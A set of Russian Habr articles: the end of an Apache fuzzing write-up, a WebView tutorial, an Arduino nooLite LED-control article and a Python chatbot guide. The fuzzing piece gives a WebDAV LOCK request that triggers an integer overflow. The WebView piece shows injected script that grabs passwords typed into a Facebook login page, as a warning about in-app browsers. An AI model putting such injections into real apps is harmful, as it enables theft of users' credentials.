### Небольшие ошибки
Я, занимаясь фаззингом, обнаружил ещё кое-какие небольшие баги. Об одном из них я сейчас расскажу. Это — переполнение целочисленной переменной в функции `Session_Identity_Decode`. Этот баг не относится к разряду опасных, но я полагаю, что интересно будет показать пример того, как легко его вызвать.
Мы отправляем WebDav-запрос `LOCK`, нацеленный на `MOD_DAV`, передавая очень большое значение `Timeout` (`Second-41000000004100000000`):
```
LOCK /dav/c HTTP/1.1
Host: 127.0.0.1
Timeout: Second-41000000004100000000
Content-Type: text/xml; charset="utf-8"
Content-Length: XXX
Authorization: Basic Mjoz
xml version="1.0" encoding="utf-8" ?
```
В следующем фрагменте кода можно видеть такую конструкцию:
```
return now + expires;
```
Здесь выполняется сложение двух 32-битных целочисленных значений, результат операции оказывается в переменной того же типа. Если складываемые значения достаточно велики — при возврате результата операции произойдёт переполнение.
```
while ((val = ap_getword_white(r->pool, &timeout))
if (!strncmp(val, "Infinite", 8)) {
return DAV_TIMEOUT_INFINITE;
}
if (!strncmp(val, "Second-", 7)) {
val += 7;
expires = atol(val);
now = time(NULL);
return now + expires;
}
}
```
Так как этот баг вызывается при выполнении запроса `LOCK` — для того, чтобы он проявился, должен быть включён модуль `MOD_DAV`.
### Итоги
Хотя безопасность Apache HTTP Server уже очень хорошо изучена, учитывая недавно обнаруженные уязвимости, связанные с обходом путей и раскрытием файлов (CVE-2021-41773 и CVE-2021-42013), ясно, что в этой программе ещё можно обнаружить новые критические уязвимости.
Проводя это исследование, я хотел сделать собственный вклад в улучшение безопасности Apache HTTP Server, и показать, что фаззинг можно применять для поиска уязвимостей в одном из самых популярных опенсорсных проектов современности. Я, в то же время, надеюсь, что у меня получилось поделиться знаниями, приобретёнными в ходе этой работы, с моими читателями.
### Что дальше?
Эта статья закрывает цикл «Фаззинг сокетов». В следующем материале я собираюсь рассказать о фаззинге JavaScript-движков. До новых встреч!
О, а приходите к нам работать? 😏Мы в [**wunderfund.io**](http://wunderfund.io/) занимаемся [высокочастотной алготорговлей](https://en.wikipedia.org/wiki/High-frequency_trading) с 2014 года. Высокочастотная торговля — это непрерывное соревнование лучших программистов и математиков всего мира. Присоединившись к нам, вы станете частью этой увлекательной схватки.
Мы предлагаем интересные и сложные задачи по анализу данных и low latency разработке для увлеченных исследователей и программистов. Гибкий график и никакой бюрократии, решения быстро принимаются и воплощаются в жизнь.
Сейчас мы ищем плюсовиков, питонистов, дата-инженеров и мл-рисерчеров.
[Присоединяйтесь к нашей команде.](http://wunderfund.io/#join_us) | https://habr.com/ru/post/651559/ | null | ru | null |
# Две стороны WebView: о быстром запуске проектов и краже персональных данных
Привет, Хабр!
Меня зовут Евгений, я Full Stack JS разработчик, текущий стек Node.js + React + React Native. В разработке я более 10 лет. В мобильной разработке пробовал разные инструменты от Cordova до React Native. Получив опыт работы с Cardova, я понял, что мне хотелось бы создавать нативные интерфейсы, на мой взгляд WebView не должно быть всем приложением. Но это не значит, что его не надо использовать вовсе.
По приглашению коллег из Сбербанка, в этом посте хочу рассказать про гибридные мобильные приложения. При правильном подходе, это отличный способ быстро реализовать идею в виде хорошо работающего продукта, достаточного для первого запуска вашего стартапа.
*Источник: srishta.com*
Также немного расскажу о том, как вы можете использовать WebView и как его могут использовать против вас злоумышленники. Примеры в статье будут показаны с использованием фреймворка React Native, но те же идеи можно реализовать и без него.
Немного про стартапы
--------------------
Начну с принципиальных отличий в запуске стартапов у нас и на Западе, расскажу, как здесь может помочь WebView, дам рабочие примеры взаимодействия веб и нативных элементов, а также советы по технике безопасности при взаимодействии со сторонними приложениями.
Как правило, чтобы стартап стал успешным, ему нужно быстро запуститься. Потеряешь время – и конкуренты тебя обойдут. Это понимают и у нас, и на Западе. Но российский подход к запуску, как правило, гораздо основательнее — в плохом смысле этого слова.
Все неудачные *российские стартапы* начинаются и развиваются примерно по одному сценарию. Наиболее частые ошибки связаны со стратегическим планированием развития программного продукта. Руководство думает, что запуск возможен только после 110%-ной реализации всей функциональности и всех нюансов. При таком подходе быстро возникает дефицит бюджета, поскольку расходы на разработку высокие, а доходов от стартапа еще нет. Поиск дополнительных инвестиций, бесконечный круг утверждений и переработок занимает кучу времени, продукт появляется у конкурента. Все, марафон проигран.
*Европейские и американские стартапы* действуют иначе. Для начала они ограничиваются только мобильной веб-версией с минимально достаточной функциональной частью. Ее можно смотреть и с десктопов, и с мобильных устройств. И на этом этапе проект готов к запуску! После запуска для мобильных устройств делается приложение.
Как правило, по основным возможностям приложение не отличается от веб-версии. Оно расширяет возможности взаимодействия с пользователем, например посредствам пуш-уведомлений. Такой подход обеспечивает выполнение основного условия — быстрый запуск, быстрое получение первой прибыли. Доходы с первого этапа можно инвестировать в развитие. В дальнейшем проект может масштабироваться и развиваться как угодно без дефицита бюджета, бесконечно выполняя итерационный подход для добавления нового функционала и развития пользовательского интерфейса.
Предлагаю подробнее рассмотреть тот этап, когда уже есть мобильная версия сайта и нужно разрабатывать приложение для мобильных устройств. Итак, мы сделали сайт, а значит занимались разработкой серверного API, интерфейса и бизнес-логики. Два из трех компонентов –
— интерфейс и логика — присутствуют и в мобильном приложении. Согласитесь, не хочется писать их заново.
Объединяем лучшее от нативных и веб-приложений
----------------------------------------------
Есть инструменты, ориентированные на разработку нативных приложений. Другие предназначены для веба. Преимущество нативных приложений в том, что они могут использовать весь функциональный потенциал телефона. Но разрабатывать их по сравнению с веб-приложениями довольно сложно. Веб дает возможность простого старта, но сильно ограничивает возможности приложения.
*\* для уменьшения тавтологии веб-приложениями я назову мобильные приложения, основная часть логики и интерфейса которых реализована на стороне браузера*
Объединить все достоинства нативных приложений и веба позволяют гибридные приложения, которые создают с помощью компонента WebView. Конечно, найдутся дотошные разработчики, которые категорически против WebView в любых его проявлениях. Они аргументируют это тем, что приложение должно сразу быть полностью нативным, чтобы можно было использовать все возможности мобильного устройства, а также обеспечить комфортную производительность пользовательского интерфейса. Но во многих случаях, когда возможностей мобильной версии сайта вполне достаточно, можно сократить время первого запуска, сделав гибридное приложение, и заменять его на нативное постепенно.
Гибридные приложения — это не всегда что-то плохое и не расширяемое. Они могут быть удобными и производительными. При грамотном использовании такой подход помогает получить достаточное время на разработку качественного приложения, а не выпускать нативное приложение на скорую руку.
Есть несколько ситуаций, в которых целесообразно использовать гибридные приложения. Они хороши в качестве временной заглушки для быстрого старта — когда у нас готова мобильная версия сайта, а мобильное приложение нужно было «вчера». Такое приложение можно создать за несколько часов, запустить в продакшн. Пользователи получат возможность работать с мобильным приложением, а вы — возможность работать над более полноценной версией в менее жестких временных рамках (если это нужно).
Вот пример. Недавно коллегам срочно понадобилось мобильное приложение. В веб-версии у него было восемь пунктов меню, и мы их отобразили через WebView. А потом по одному пункту заменяли. Так получилось выпустить приложение не через месяц-три, а буквально за несколько дней. После постепенно переводили его на натив.
Гибридное решение не всегда временное. Его возможности позволяют переиспользовать в приложении кодовую базу, созданную ранее для веб-версии. К примеру специфичные анимации уже созданные на Canvas. Также WebView удобен, когда используется какой-то сторонний сервис. Еще один вариант – когда у вас есть сложный интерфейс, который проще подключить через WebView.
Как использовать WebView
------------------------
Возьмем популярный сценарий. Мы хотим использовать мобильную версию сайта и нативное меню. Мы создаем нативное приложение с меню, но вместо контента подключаем мобильную версию сайта через WebView (пока что без каких либо изменений).
На гифке можно увидеть 2 меню. Правое меню является частью сайта, реализованное на веб, слева нативное меню, реализованное внутри мобильного приложения. Чтобы получить первое приближение к нативному приложению, нам достаточно просто скрыть то меню, которое реализовано на веб. Вот сколько [кода](https://github.com/BATMAH69/MeetUp181212/blob/master/src/Screens/Example1.js) нужно, чтобы через WebView отобразить веб-версию внутри приложения:
```
export default (props) => (
https://provincehotels.ru/'}} style={{flex:1}} />
);
```
Следующий пример – о том, как нативная часть может взаимодействовать с вебом.
Робот нарисован на Canvas, это часть веб-сайта. А переключатель к нему построен на нативном UI. На разных телефонах он будет выглядеть по-разному. Мы можем управлять движениями робота при помощи переключателя. Можно и наоборот – какими-то элементами веб-интерфейса влиять на приложение. В React Native для этого предусмотрено специальный API для взаимодействия между вебом и нативной частью.
Ниже [код](https://github.com/BATMAH69/MeetUp181212/blob/master/src/Screens/Example2.js) для использования этой анимации. Layout — все пространство. Picker — нативная часть, которая может выбирать из dropdown варианты состояния робота. WebView — контейнер для отображения веба, внутри которого отрисовывается робот.
```
const states = [ 'Idle', 'Walking', 'Running', 'Dance', 'Death', 'Sitting', 'Standing' ];
const uri = 'https://artexoid.ru/181212/example2/';
export default class Example2 extends React.Component {
myWebView = React.*createRef*();
state = {
robot: states[0]
};
render() {
return (
{
this.setState({robot: item});
this.myWebView.current.postMessage(item);
}}
>
{states.map((item => ))}
);
}
}
```
Подобные кейсы возникают часто. Например, мы сделали приложение для тестирования и аттестации стоматологов. Для каждого варианта ответа в тесте внутри вопросов рисовалась анимация, реализованная посредствам Canvas на вебе. Задача состояла в том, чтобы создать мобильное приложение, с этим тестированием. Использовав WebView, мы смогли отображать анимации из веба, тогда как остальной интерфейс мы построили нативно. Анимация отлично работала даже на старых смартфонах.
Как делаются инъекции
---------------------
До 2013 года браузер Opera использовал собственный движок Presto, но потом его перевели на движок Blink от Google. Многих пользователей это очень расстроило. Свет на причины этого перехода проливает видео [«Зачем опере вебкит»](https://www.youtube.com/watch?v=Y70JypQCy08&feature=youtu.be&t=1627). Главные виновники — большие корпорации типа Google или Facebook, которые не тестировали код своих продуктов в Opera и запрещали отображение страниц в этом браузере, ссылаясь на то, что он не достаточно популярен у пользователей.
Например, заходишь на Gmail через Opera и видишь: «Ошибка JavaScript». Пишешь в саппорт, получаешь ответ: «Opera у нас не поддерживается, мы не будем писать под нее код». Сначала компания Opera нанимала разработчиков, чтобы писать инъекции – специальный код, который встраивался в Gmail и позволял ему работать в Opera. Но постепенно таких сайтов, как Gmail, становилось все больше. Opera сдалась и сменила движок.
Так о чем это я? Ах да самое время поговорить об инъекциях:
На гифке – пример инъекции, которая изменяет поведение сайтов. Допустим, у нас есть чужой сайт, и мы делаем инъекцию стилей – скрываем правое меню и слайдер, выезжающий справа. Это – инъекция стилей. Логика работы сайта не меняется, только отображение.
```
const addStyles=`
const newCSS = 'div[class*=svgHamburger],div[class*=drawerPanel] { display: none !important; }'
head = document.head || document.getElementsByTagName('head')[0],
style = document.createElement('style');
style.type = 'text/css';
style.appendChild(document.createTextNode(newCSS));
head.appendChild(style);
`;
const uri = 'https://provincehotels.ru/';
export default (props) => (
);
```
[Код](https://github.com/BATMAH69/MeetUp181212/blob/master/src/Screens/Example3.js), написанный зеленым, — инъекция. Она скрывает элементы, на них нельзя нажать, с ними нельзя взаимодействовать. С виду получается полностью нативное приложение, без веб-элементов управления.
Следующая инъекция интереснее. Допустим, у нас есть мобильное приложение, а в нем — встроенный мобильный браузер.
Человек переходит по ссылке, и мы запросто подставляем ему страничку Фейсбука, в которой нужно ввести логин и пароль. Если человек его вводит – приложение его перехватывает. Вот [код](https://github.com/BATMAH69/MeetUp181212/blob/master/src/Screens/Example4.js):
```
const addScripts=`
document
.querySelector('input[type=password]')
.addEventListener("change", (event) => alert(event.target.value));
`;
const uri = 'https://www.facebook.com/';
export default (props) => (
);
```
Такой код называется инъекцией логики. Обычно он сложнее, но не намного. То есть утащить пароль проще, чем скрыть элементы управления.
Минутка паранойи: браузеры, встроенные в приложения
---------------------------------------------------
Как известно, во многих приложениях есть встроенные браузеры (WebView) — например, ВКонтакте, Telegram, Gmail, WhatsApp и так далее. Крупным компаниям мы можем доверять, но WebView используется и огромным количеством приложений с малым количеством звезд и сомнительными авторами — к примеру QR-ридерами, файловыми менеджерами, оболочками для камер и т.п… Устанавливаешь приложение, читаешь через него код, нажимаешь на ссылку, вводишь конфиденциальные данные — и у приложения, как показано в предыдущем примере, появляется доступ к ним. А потом уже не отследишь, куда эти данные утекают. Поэтому для открытия ссылок пользуйтесь только браузерами, которым доверяете.
Есть сайты, которые запрашивают логин и пароль каждый раз. А есть такие, которые делают это редко — раз в месяц, раз в год. Как ни странно, второй вариант безопаснее с точки зрения утечки данных через WebView. Например, ты заходишь на сайт с какого-то левого браузера. Сайт требует логин и пароль, и тебе не кажется это странным – он всегда так делает. А в случае, когда авторизация требуется редко, это заставит насторожиться.
Интересно, что двухфакторная авторизация от такой атаки не защищает – только от кражи пароля. Дело в том, что после подтверждения тебе в ответ возвращается токен, который, в свою очередь, двухфакторной авторизации уже не имеет, и его легко перехватить. То есть если ты ввел логин и код с СМС один раз, то браузер получает токен, который можно использовать многократно. С этим подтвержденным токеном он может делать что хочет, в течение времени, пока токен остается актуальным. В общем, не стоит слишком доверять встроенным браузерам.
Познакомиться с примерами из этого поста можно через демо-приложения. На ОС Android нужно скачать Expo Project — инструмент для работы с JavaScript и React Native. После установки Expo останется только считать QR-код:
С устройствами под iOS сложнее: компания Apple [запретила распространять](https://blog.expo.io/upcoming-limitations-to-ios-expo-client-8076d01aee1a) приложения таким образом. Так что любопытствующим придется собрать приложение из [исходников](https://github.com/BATMAH69/MeetUp181212) на GitHub. Спасибо за внимание! | https://habr.com/ru/post/440710/ | null | ru | null |
# AMS и магический кристалл
На этот раз предлагаю немного позаниматься магией (почему нет?) и создать магический кристалл для наших повседневных нужд. Использовать его мы будем по прямому назначению — для прорицания различных неочевидных сущностей и событий. И понадобится нам для изготовления сего артефакта всего два ингредиента — [Arduino Mega Server](http://hi-lab.ru/arduino-mega-server) и беспроводной контроллер светодиодной ленты [nooLite SD111-180](http://www.noo.com.by/silovoj-blok-SD111-180.html).
Кристалл будет не декоративный (для обмана доверчивой публики), а самый что ни на есть функциональный, со множеством магических свойств.
Итак, приступим…
Школа магии
-----------
Как вы сами понимаете, нельзя просто так взять и совершить какое-нибудь чудо, нужно сначала пройти школу магии и освоить азы этого непростого искусства. И тут я вас отсылаю к циклу статей ([раз](http://geektimes.ru/post/269100/), [два](http://geektimes.ru/post/269366/), [три](http://geektimes.ru/post/269450/)) об интеграции оборудования nooLite в системы домашней автоматизации и рекомендую ознакомиться с ними перед дальнейшим чтением. В этих статьях подробно разобраны все основы и технические детали работы Arduino Mega Server с беспроводным оборудованием nooLite. Поэтому всё дальнейшее повествование я буду вести предполагая, что вы уже ознакомились с предыдущими статьями.
Модуль
------
Все эксперименты мы будем проводить с беспроводным контроллером nooLite SD111-180, который позволяет управлять светодиодными лентами «по воздуху», без каких-либо проводов. Подключение, как всегда у nooLite, самое простое — два провода к блоку питания для светодиодных лент и четыре — к самой ленте: «плюс» и три канала R, G, B.
Программная часть
-----------------
В предыдущих статьях говорилось о ядре управления nooLite, интегрированном в систему Arduino Mega Server. И там же упоминалось, что в ядре реализован базовый набор функций для управления приборами nooLite и предлагалось всем желающим, по аналогии, добавить в ядро другие необходимые функции. Теперь мы облегчим вам эту задачу и добавим в ядро функции для беспроводного управления светодиодными лентами.
Прежде всего добавляем «главную» функцию, которая формирует управляющие команды для модуля [nooLite MT1132](http://www.noo.com.by/modul_mt1132.html).
```
void nooSendCommandLed(byte channel, byte command, byte r, byte g, byte b, byte format) {
byte buf[12];
ledLastState[0] = r;
ledLastState[1] = g;
ledLastState[2] = b;
for (byte i = 0; i < 12; i++) {
buf[i] = 0;
}
buf[0] = 85;
buf[1] = B01010000;
buf[2] = command;
buf[3] = format;
buf[5] = channel;
buf[6] = r;
buf[7] = g;
buf[8] = b;
int checkSum = 0;
for (byte i = 0; i < 10; i++) {
checkSum += buf[i];
}
buf[10] = lowByte(checkSum);
buf[11] = 170;
for (byte i = 0; i < (12); i++) {
Serial1.write(buf[i]);
}
}
```
Это родная сестра функции nooSendCommand, которую мы рассматривали в первой статье. Она только немного изменена для специфических нужд управления светодиодными лентами. Добавлена установка 6, 7, 8 байтов управляющей команды, которые содержат яркость по трём каналам R, G, B. И добавлен массив
```
byte ledLastState[] = {127, 127, 127};
```
содержащий последнее установленное значение цвета светодиодной ленты. Это нужно для того, чтобы можно было включать и выключать свет, сохраняя установленное значение цвета. Если этого не сделать, то после выключения и последующего включения, цвет сбросится на белый, что не очень удобно.
И для работы со светодиодной лентой выбираем третий канал
```
byte const NOO_CHANNEL_3 = 2;
```
Можно было бы выбрать любой другой из 32 каналов, с которыми работает модуль nooLite MT1132.
Теперь мы имеем базовую функцию, управляющую работой контроллера светодиодной ленты nooLite SD111-180, и, соответственно, и самой светодиодной лентой. И теперь мы можем приступать к написанию функций-обёрток, которые упростят нам написание кода для управления цветом свечения ленты.
Базовая обёртка
```
void nooLed (byte ch, byte r, byte g, byte b) {
nooSendCommandLed(ch, 6, r, g, b, 3);
}
```
Просто указываем канал и цвета свечения. В нашем распоряжении 16 миллионов оттенков. Далее пишем функции-обёртки для базовых цветов (вы можете добавить такие функции для своих любимых цветов).
```
void nooRed (byte ch, byte v) {nooSendCommandLed(ch, 6, v, 0, 0, 3);}
void nooGreen (byte ch, byte v) {nooSendCommandLed(ch, 6, 0, v, 0, 3);}
void nooBlue (byte ch, byte v) {nooSendCommandLed(ch, 6, 0, 0, v, 3);}
void nooYellow (byte ch, byte v) {nooSendCommandLed(ch, 6, v, v, 0, 3);}
void nooMagenta(byte ch, byte v) {nooSendCommandLed(ch, 6, v, 0, v, 3);}
void nooCyan (byte ch, byte v) {nooSendCommandLed(ch, 6, 0, v, v, 3);}
```
Просто указываем канал и интенсивность свечения в диапазоне от 0 до 255. И ещё несколько «концептуальных» функций. Белый, чёрный и интенсивность серого.
```
void nooBlack (byte ch) {nooSendCommandLed(ch, 6, 0, 0, 0, 3);}
void nooWhite (byte ch) {nooSendCommandLed(ch, 6, 255, 255, 255, 3);}
void nooGray (byte ch, byte v) {nooSendCommandLed(ch, 6, v, v, v, 3);}
```
И последняя функция, которой мы дополним ядро nooLite в системе Arduino Mega Server, это функция восстановления последнего цвета свечения ленты (сами модули nooLite не запоминают это значение). Используется эта функция для включения ленты (после выключения, которое сбрасывает цвет на белый).
```
void nooSetLedLastState(byte ch) {
nooSendCommandLed(ch, 6, ledLastState[0], ledLastState[1], ledLastState[2], 3);
}
```
Вот полный код нового ядра управления nooLite.
**Полный код ядра**
```
/*
Modul nooLite for Due
part of Arduino Mega Server project
*/
#ifdef NOO_FEATURE
byte const PIN_TX = 18; // TX PIN (to RX noolite)
byte const PIN_RX = 19; // RX PIN (to TX noolite)
byte const NOO_CHANNEL_1 = 0; // channel (address) 0...31 (MT1132)
byte const NOO_CHANNEL_2 = 1;
byte const NOO_CHANNEL_3 = 2;
byte const NOO_CHANNEL_4 = 3;
byte const NOO_CHANNEL_5 = 4;
void nooInit() {
Serial1.begin(9600);
modulNoo = MODUL_ENABLE;
started("nooLite");
}
void nooWork() {
}
void nooSendCommand(byte channel, byte command, byte data, byte format) {
byte buf[12];
for (byte i = 0; i < 12; i++) {
buf[i] = 0;
}
buf[0] = 85;
buf[1] = B01010000;
buf[2] = command;
buf[3] = format;
buf[5] = channel;
buf[6] = data;
int checkSum = 0;
for (byte i = 0; i < 10; i++) {
checkSum += buf[i];
}
buf[10] = lowByte(checkSum);
buf[11] = 170;
for (byte i = 0; i < (12); i++) {
Serial1.write(buf[i]);
}
/*
Serial.println(">");
for (byte i = 0; i < (12); i++) {
Serial.print(buf[i]);
}
Serial.println();
*/
}
byte ledLastState[] = {127, 127, 127};
void nooSendCommandLed(byte channel, byte command, byte r, byte g, byte b, byte format) {
byte buf[12];
ledLastState[0] = r;
ledLastState[1] = g;
ledLastState[2] = b;
for (byte i = 0; i < 12; i++) {
buf[i] = 0;
}
buf[0] = 85;
buf[1] = B01010000;
buf[2] = command;
buf[3] = format;
buf[5] = channel;
buf[6] = r;
buf[7] = g;
buf[8] = b;
int checkSum = 0;
for (byte i = 0; i < 10; i++) {
checkSum += buf[i];
}
buf[10] = lowByte(checkSum);
buf[11] = 170;
for (byte i = 0; i < (12); i++) {
Serial1.write(buf[i]);
}
}
// command data format
void nooBind (byte ch) {nooSendCommand(ch, 15, 0, 0);}
void nooUnbind (byte ch) {nooSendCommand(ch, 9, 0, 0);}
void nooOn (byte ch) {nooSendCommand(ch, 2, 0, 0);}
void nooOff (byte ch) {nooSendCommand(ch, 0, 0, 0);}
void nooTrigger(byte ch) {nooSendCommand(ch, 4, 0, 0);}
void nooCancel (byte ch) {nooSendCommand(ch, 10, 0, 0);}
void nooUp (byte ch) {nooSendCommand(ch, 3, 0, 0);}
void nooDown (byte ch) {nooSendCommand(ch, 1, 0, 0);}
void nooRevers (byte ch) {nooSendCommand(ch, 5, 0, 0);}
void nooValue (byte ch, byte v) {nooSendCommand(ch, 6, v, 1);}
void nooLed (byte ch, byte r, byte g, byte b) {nooSendCommandLed(ch, 6, r, g, b, 3);}
void nooBlack (byte ch) {nooSendCommandLed(ch, 6, 0, 0, 0, 3);}
void nooWhite (byte ch) {nooSendCommandLed(ch, 6, 255, 255, 255, 3);}
void nooGray (byte ch, byte v) {nooSendCommandLed(ch, 6, v, v, v, 3);}
void nooRed (byte ch, byte v) {nooSendCommandLed(ch, 6, v, 0, 0, 3);}
void nooGreen (byte ch, byte v) {nooSendCommandLed(ch, 6, 0, v, 0, 3);}
void nooBlue (byte ch, byte v) {nooSendCommandLed(ch, 6, 0, 0, v, 3);}
void nooYellow (byte ch, byte v) {nooSendCommandLed(ch, 6, v, v, 0, 3);}
void nooMagenta(byte ch, byte v) {nooSendCommandLed(ch, 6, v, 0, v, 3);}
void nooCyan (byte ch, byte v) {nooSendCommandLed(ch, 6, 0, v, v, 3);}
void nooSetLedLastState(byte ch) {nooSendCommandLed(ch, 6, ledLastState[0], ledLastState[1], ledLastState[2], 3);}
#endif // NOO_FEATURE
```
Всё, на этом с описанием дополнений ядра мы заканчиваем и переходим к интерфейсу управления цветом свечения светодиодных лент системы AMS.
Интерфейс управления светодиодными лентами
------------------------------------------
По предыдущим статьям вы помните интерфейс управления приборами nooLite системы Arduino Mega Server. Мы не будем особенно изощряться и просто добавим ещё одну секцию к уже имеющимся трём (две секции управления приборами и одна секция «привязки»/«отвязки» модулей).
Скриншоты других секций с подробными пояснениями вы можете увидеть в предыдущих статьях, посвящённых интеграции AMS с системой nooLite. Новая секция даёт возможность включать и выключать светодиодную ленту и выбирать цвет свечения из нескольких предустановленных вариантов.
Это только пример интеграции и вы можете сделать на основе этого примера любой другой интерфейс. Можно сделать выбор цвета, плавное изменение цветов или предусмотреть сценарии включения, выключения и изменения цвета подсветки и т. д. и т. п.
Внутренняя кухня
----------------
Интерфейс управления это только часть доступных возможностей, которые предоставляет Arduino Mega Server с интегрированным ядром управления приборами nooLite. И это, так сказать, надводная часть айсберга. А подводная часть — это возможность использовать функции-обёртки в коде самой системы. Вы можете легко, буквально в одну строчку кода, управлять свечением ленты и индицировать с её помощью любые внутренние параметры системы (температура, охранные функции, включение приборов и т. д.) и внешние, приходящие по сети в виде команд от других устройств Умного дома.
И тут мы переходим к самому интересному.
Магический кристалл
-------------------
Теперь давайте поговорим собственно о «магическом кристалле». О чём идёт речь? Представьте себе любое искусственное окружение человека — интерьер квартиры или офиса, зал для проведения каких-либо мероприятий, урбанистическое окружение наших городов (остановки, столбы, тумбы и т. п.) и т. д. Так вот, идея состоит в том, что при нынешнем уровне развития технологий любой предмет можно сделать «индикатором» любых событий и параметров. Можно пойти ещё дальше и сделать любой предмет интерактивным или «живым», можно также снабдить любой предмет характерным голосом и т. п. (привет, Алиса!), но это тема уже другой статьи, об этом мы поговорим в другой раз.
Возьмём, к примеру, вашу комнату. На полке, рядом с телевизором, или просто среди «творческого беспорядка» на столе может лежать небольшой предмет, например, «магический шар» который, в зависимости от каких-либо параметров или событий, меняет свой цвет, оттенок или яркость свечения. Он никому не мешает и не привлекает внимание, он не производит никаких шумов, но вам достаточно бросить беглый взгляд на него и вам становится ясно какая температура на улице, пришло ли вам письмо по электронной почте, сколько осталось пива в холодильнике, пора ли кормить рыбок или принимать прописанные вам доктором таблетки от склероза.
Особо важные события «магический кристалл» может индицировать миганием или даже звуком. И все параметры этой системы вы задаёте сами, в зависимости от ваших потребностей и вашей фантазии: цвет и интенсивность свечения, события и параметры, на которые реагирует «магический кристалл» и т. п. Таких «кристаллов» может быть несколько и они могут быть любого вида, совсем не обязательно в виде шара.
Теперь от мелких и «незаметных» вещей давайте перейдём к средним формам. Это может быть напольная или потолочная подсветка, светящиеся стены (части стен) или ниши и т. п. элементы интерьера. Например, подсветка может служить цветовыми часами, когда ночью она меняет свет в зависимости от времени, а утром постепенно становится ярче и служит в качестве «естественного» будильника.
И, наконец, это неисчерпаемый кладезь идей для различных перформансов и оформления массовых мероприятий, таких, как вечеринки, корпоративные мероприятия и т. п. собрания людей, где маленький магический кристалл превращается в 2-х метровые кубы и шары, меняющие цвет в зависимости от, например, результатов голосования за или против чего-либо.
Заключение
----------
И всё, что вам нужно, чтобы реализовать все эти идеи — это [Arduino Mega Server](http://hi-lab.ru/arduino-mega-server), беспроводной контроллер светодиодных лент [nooLite SD111-180](http://www.noo.com.by/silovoj-blok-SD111-180.html) и немного фантазии. Все нововведения, описанные в этой статье, появятся в следующей, 0.15 версии системы AMS, а самые нетерпеливые из вас могут взять код модуля ядра nooLite из этой статьи и начать творить чудеса прямо сейчас.
Предыдущие статьи:
[Беспроводное оборудование nooLite и Умный дом (часть 1). Arduino](http://geektimes.ru/post/269100/)
[Беспроводное оборудование nooLite и Умный дом (часть 2). Arduino Mega Server](http://geektimes.ru/post/269366/)
[Беспроводное оборудование nooLite и Умный дом (часть 3). Паяльная станция](http://geektimes.ru/post/269450/)
Arduino Mega Server промо на Youtube, демонстрирующее работу с реальной системой
[Arduino Mega Server promo](http://www.youtube.com/watch?v=jmu0MkIlywU) | https://habr.com/ru/post/390025/ | null | ru | null |
# Пишем чат-бот на Python + PostgreSQL и Telegram
Пошаговое руководство написания чат-бота на языке Python.
---------------------------------------------------------
* Установим Python и библиотеки;
* Получим вопросы и ответы из БД PostgreSQL;
* Подключим морфологию;
* Подключим чат-бот к каналу Telegram.
Colaboratory от Google
----------------------
Изучение Python можно начать используя сервис [Colaboratory](https://colab.research.google.com/) от Google, или просто Colab. Сервис позволяет писать и выполнять код Python в браузере, не требуя собственного сервера.
Пример кода. Вопросы и ответы для чат-бота подгрузим с <https://drive.google.com> из текстового файла
```
# Однократно после запуска виртуальной машины устанавливаем библиотеки pymorphy2 и numpy
!pip install pymorphy2 numpy
# ----------------------------
# подключим библиотеки
import csv
import pymorphy2
import re
morph = pymorphy2.MorphAnalyzer(lang='ru')
# Массив вопросов
questions=[]
# Массив ответов
answer=[]
# Подключаем файл с Google диска, содержащий вопросы/ответы
# Есть ли жизнь на марсе;Есть
with open("/content/drive/MyDrive/robo-bot/question.txt", "r") as f_obj:
reader = csv.reader(f_obj)
for row in reader:
s=" ".join(row)
r=s.split(';')
questions.append(r[0])
answer.append(r[1])
# выведем список вопросов и ответов
print (questions)
print (answer)
```
Запуск в Production
-------------------
Наигравшись с кодом в Colaboratory и освоив Python развернем систему на боевом сервере Debian
**Установим Python и PIP (установщик пакетов).**
*Так как Debian не самый новый, устанавливается версия 3.5*
```
aptitude install python3 python3-pip
# обновим пакеты если они были установлены ранее
pip3 install --upgrade setuptools pip
```
**Установим необходимые пакеты Python**
```
# Из за устаревшей версии Debian установить psycopg2 не удалось, поставлен скомпилированный psycopg2-binary
# Библиотека psycopg2 нужна для подключения к базе данных PostgreSQL
# pip3 install psycopg2
pip3 install psycopg2-binary scikit-learn numpy pymorphy2
```
Пишем код в файле Chat\_bot.py
------------------------------
```
# Импортируем библиотеки
import pymorphy2
import re
import psycopg2
import sklearn
import numpy as np
# Подключаемся к PostgreSQL
conn = psycopg2.connect(dbname='energy', user='mao', password='darin', host='localhost')
cursor = conn.cursor()
# Настраиваем язык для библиотеки морфологии
morph = pymorphy2.MorphAnalyzer(lang='ru')
# объявляем массив кодов ответов и ответов
answer_id=[]
answer = dict()
# получаем из PostgreSQL список ответов и проиндексируем их.
# Работая с PostgreSQL обращаемся к схеме app, в которой находятся таблицы с данными
cursor.execute('SELECT id, answer FROM app.chats_answer;')
records = cursor.fetchall()
for row in records:
answer[row[0]]=row[1]
```
Структура таблицы ответов chats\_answer, формат SQL
```
CREATE TABLE app.chats_answer (
id SERIAL,
answer VARCHAR(512),
CONSTRAINT chats_answer_pkey PRIMARY KEY(id)
)
WITH (oids = false);
ALTER TABLE app.chats_answer
OWNER TO mao;
```
| | |
| --- | --- |
| id | answer |
| 1 | Мне 45 лет |
| 2 | Да, я готов об этом поговорить |
| 3 | Я тоже хочу спать |
Структура таблицы вопросов chats\_question, формат SQL. Каждый вопрос связан с кодом ответа.
```
CREATE TABLE app.chats_question (
id SERIAL,
question VARCHAR(512),
answer_id INTEGER,
CONSTRAINT chats_question_pkey PRIMARY KEY(id)
)
WITH (oids = false);
ALTER TABLE app.chats_question
OWNER TO mao;
```
| | | |
| --- | --- | --- |
| id | question | answer\_id |
| 1 | Сколько тебе лет | 1 |
| 2 | Лет то тебе сколько | 1 |
| 3 | Поговорим о возрасте | 1 |
| 4 | Трейлер фильма Матрица | 2 |
| 5 | Спокойной ночи | 3 |
| 6 | Пока мой друг | 3 |
### Продолжаем код в файле Chat\_bot.py
```
# объявляем массив вопросов
questions=[]
# загрузим вопросы и коды ответов
cursor.execute('SELECT question, answer_id FROM app.chats_question;')
records = cursor.fetchall()
# посчитаем количество вопросов
transform=0
for row in records:
# Если текст вопроса не пустой
if row[0]>"":
# Если в БД есть код ответа на вопрос
if row[1]>0:
phrases=row[0]
# разбираем вопрос на слова
words=phrases.split(' ')
phrase=""
for word in words:
# каждое слово из вопроса приводим в нормальную словоформу
word = morph.parse(word)[0].normal_form
# составляем фразу из нормализованных слов
phrase = phrase + word + " "
# Если длинна полученной фразы больше 0 добавляем ей в массив вопросов и массив кодов ответов
if (len(phrase)>0):
questions.append(phrase.strip())
answer_id.append(row[1])
